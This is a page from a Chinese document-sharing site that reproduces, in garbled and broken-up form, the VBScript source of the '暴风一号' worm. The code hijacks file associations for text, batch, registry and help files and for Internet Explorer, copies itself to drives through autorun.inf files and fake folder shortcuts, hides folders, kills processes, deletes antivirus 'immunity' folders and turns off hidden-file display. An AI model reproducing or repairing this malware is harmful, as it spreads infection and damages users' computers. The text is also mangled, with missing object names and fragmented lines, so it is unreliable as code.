暴风一号源码文档格式.docx
- 文档编号:21863618
- 上传时间:2023-02-01
- 格式:DOCX
- 页数:18
- 大小:17.61KB
暴风一号源码文档格式.docx
《暴风一号源码文档格式.docx》由会员分享,可在线阅读,更多相关《暴风一号源码文档格式.docx(18页珍藏版)》请在冰豆网上搜索。
%systemroot%\system\"
virusload)
txt"
"
log"
"
ini"
"
inf"
runpath="
%systemroot%\system32\"
param
bat"
cmd"
cmd/cechohi!
i'
mhere!
pause"
reg"
trim(param)&
chm"
hlp"
dir"
left(trim(param),len(trim(param))-3)&
oie"
%programfiles%\internetexplorer\"
omc"
/n,:
:
{20d04fe0-3aea-1069-a2d8-08002b30309d}"
emc"
/n,/e,:
caseelse
ifpredblinstance=truethen
endif
timeout=datediff("
ww"
getinfecteddate,date)-12
iftimeout>
0andmonth(date)=day(date)then
callvirusalert()
callmakejoke(cint(month(date)))
callmonitorsystem()
endselect
endsub
submonitorsystem()
onerrorresumenext:
dimprocessnames,exefullnames
processnames=array("
vbsfullnames=array(getmainvirus
(1))
do
callkillprocess(processnames)
callinvadesystem(getmainvirus
(1),getmainvirus(0))
callkeepprocess(vbsfullnames)
3000
subinvadesystem(virusloadpath,virusasspath)
dimload_value,file_value,ie_value,mycpt_value1,mycpt_value2,hcuload,hcuver,viruscode,version
load_value="
virusloadpath&
file_value="
virusasspath&
%1%*"
ie_value="
oie"
mycpt_value1="
omc"
mycpt_value2="
emc"
hcuload="
hkey_current_user\software\microsoft\windowsnt\currentversion\windows\load"
hcuver="
hkey_current_user\software\microsoft\windowsnt\currentversion\windows\ver"
hcudate="
hkey_current_user\software\microsoft\windowsnt\currentversion\windows\date"
viruscode=getcode
version=1
hostsourcepath=
(1)&
\"
hostfilepath=(0)&
\system\"
foreachdrivein
ifand=1or=2or=3)then
diskvirusname=getserialnumber&
.vbs"
callcreateautorun,diskvirusname)
callinfectroot,diskvirusname)
next
if(virusasspath)=falseor(virusloadpath)=falseor(hostfilepath)=falseorgetversion()<
versionthen
ifgetfilesystemtype(getsystemdrive())="
ntfs"
then
callcreatefile(viruscode,virusasspath)
callcreatefile(viruscode,virusloadpath)
callcopyfile(hostsourcepath,hostfilepath)
callsethiddenattr(hostfilepath)
else
callcreatefile(viruscode,virusasspath)
callsethiddenattr(virusasspath)
callsethiddenattr(virusloadpath)
callcopyfile(hostsourcepath,hostfilepath)
endif
ifreadreg(hcuload)<
>
load_valuethen
callwritereg(hcuload,load_value,"
ifgetversion()<
callwritereg(hcuver,version,"
ifgetinfecteddate()="
callwritereg(hcudate,date,"
ifreadreg("
hkey_local_machine\software\classes\txtfile\shell\open\command\"
)<
file_valuethen
callsettxtfileass(virusasspath)
hkey_local_machine\software\classes\inifile\shell\open\command\"
callsetinifileass(virusasspath)
hkey_local_machine\software\classes\inffile\shell\open\command\"
callsetinffileass(virusasspath)
hkey_local_machine\software\classes\batfile\shell\open\command\"
callsetbatfileass(virusasspath)
hkey_local_machine\software\classes\cmdfile\shell\open\command\"
callsetcmdfileass(virusasspath)
hkey_local_machine\software\classes\regfile\shell\open\command\"
callsetregfileass(virusasspath)
hkey_local_machine\software\classes\\shell\open\command\"
callsetchmfileass(virusasspath)
hkey_local_machine\software\classes\hlpfile\shell\open\command\"
callsethlpfileass(virusasspath)
hkey_local_machine\software\classes\applications\\shell\open\command\"
ie_valuethen
callsetieass(virusasspath)
hkey_classes_root\clsid\{871c5380-42a0-1069-a2ea-08002b30309d}\shell\openhomepage\command\"
hkey_classes_root\clsid\{20d04fe0-3aea-1069-a2d8-08002b30309d}\shell\open\command\"
mycpt_value1then
allsetmycomputerass(virusasspath)
hkey_classes_root\clsid\{20d04fe0-3aea-1069-a2d8-08002b30309d}\shell\explore\command\"
mycpt_value2then
callsetmycomputerass(virusasspath)
callregset()
subcopyfile(source,pathf)
if(pathf)then
pathf,true
source,pathf
subcreatefile(code,pathf)
dimfiletext
setfiletext=(pathf,2,false)
code
else
setfiletext=(pathf,2,true)
subregset()
onerrorresumenext
dimregpath1,regpath2,regpath3,regpath4
regpath1="
hkey_local_machine\software\microsoft\windows\currentversion\explorer\advanced\folder\hidden\nohidden\checkedvalue"
regpath2="
hkey_local_machine\software\microsoft\windows\currentversion\explorer\advanced\folder\hidden\showall\checkedvalue"
regpath3="
hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\nodrivetypeautorun"
regpath4="
hkey_classes_root\lnkfile\isshortcut"
callwritereg(regpath1,3,"
reg_dword"
callwritereg(regpath2,2,"
callwritereg(regpath3,0,"
calldeletereg(regpath4)
subkillprocess(processnames)
setwmiservice=getobject("
winmgmts:
\\.\root\cimv2"
foreachprocessnameinprocessnames
setprocesslist=("
select*fromwin32_processwherename='
processname&
'
foreachprocessinprocesslist
intreturn=
ifintreturn<
0then
cmd/cntsd-cq-p"
vbhide,false
next
subkillimmunity(d)
immunityfolder=d&
if(immunityfolder)then
("
cmd/ccacls"
immunityfolder&
&
/t/e/c/geveryone:
f"
),vbhide,true
cmd/crd/s/q"
immunityfolder),vbhide,true
subkeepprocess(vbsfullnames)
foreachvbsfullnameinvbsfullnames
ifvbsprocesscount(vbsfullname)<
2then
run("
vbsfullname)
subwritereg(strkey,value,vtype)
dimtmps
settmps=createobject("
ifvtype="
strkey,value
strkey,value,vtype
settmps=nothing
subdeletereg(strkey)
strkey
subsethiddenattr(path)
dimvf
setvf=(path)
=6
subrun(exefullname)
dimwshshell
setwshshell=("
exefullname
setwshshell=nothing
subinfectroot(d,virusname)
dimvbscode
vbscode=getcode
vbspath=d&
virusname
if(vbspath)=falsethen
callcreatefile(vbscode,vbspath)
callsethiddenattr(vbspath)
setfolder=(d&
setsubfolders=
foreachsubfolderinsubfolders
sethiddenattr
lnkpath=d&
.lnk"
targetpath=d&
args="
d&
\dir"
if(lnkpath)=falseorgettargetpath(lnkpath)<
targetpaththen
if(lnkpath)=truethen
lnkpath,true
callcreateshortcut(lnkpath,targetpath,args)
subcreateshortcut(lnkpath,targetpath,args)
setshortcut=(lnkpath)
withshortcut
.targetpath=targetpath
.arguments=args
.windowstyle=4
.iconlocation="
%systemroot%\system32\,3"
.save
endwith
subcreateautorun(d,virusname)
diminfpath,vbspath,vbscode
infpath=d&
if(infpath)=falseor(vbspath)=falsethen
strinf="
[autorun]"
vbcrlf&
shellexecute="
virusname&
autorun"
shell\open=′ò
?
a(&
o)"
shell\open\command="
shell\open\default=1"
vbcrlf&
shell\explore=×
ê
′1ü
à
í
÷
(&
x)"
shell\explore\command="
callkillimmunity(d)
callcreatefile(s
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 暴风 一号 源码
![提示](https://static.bdocx.com/images/bang_tan.gif)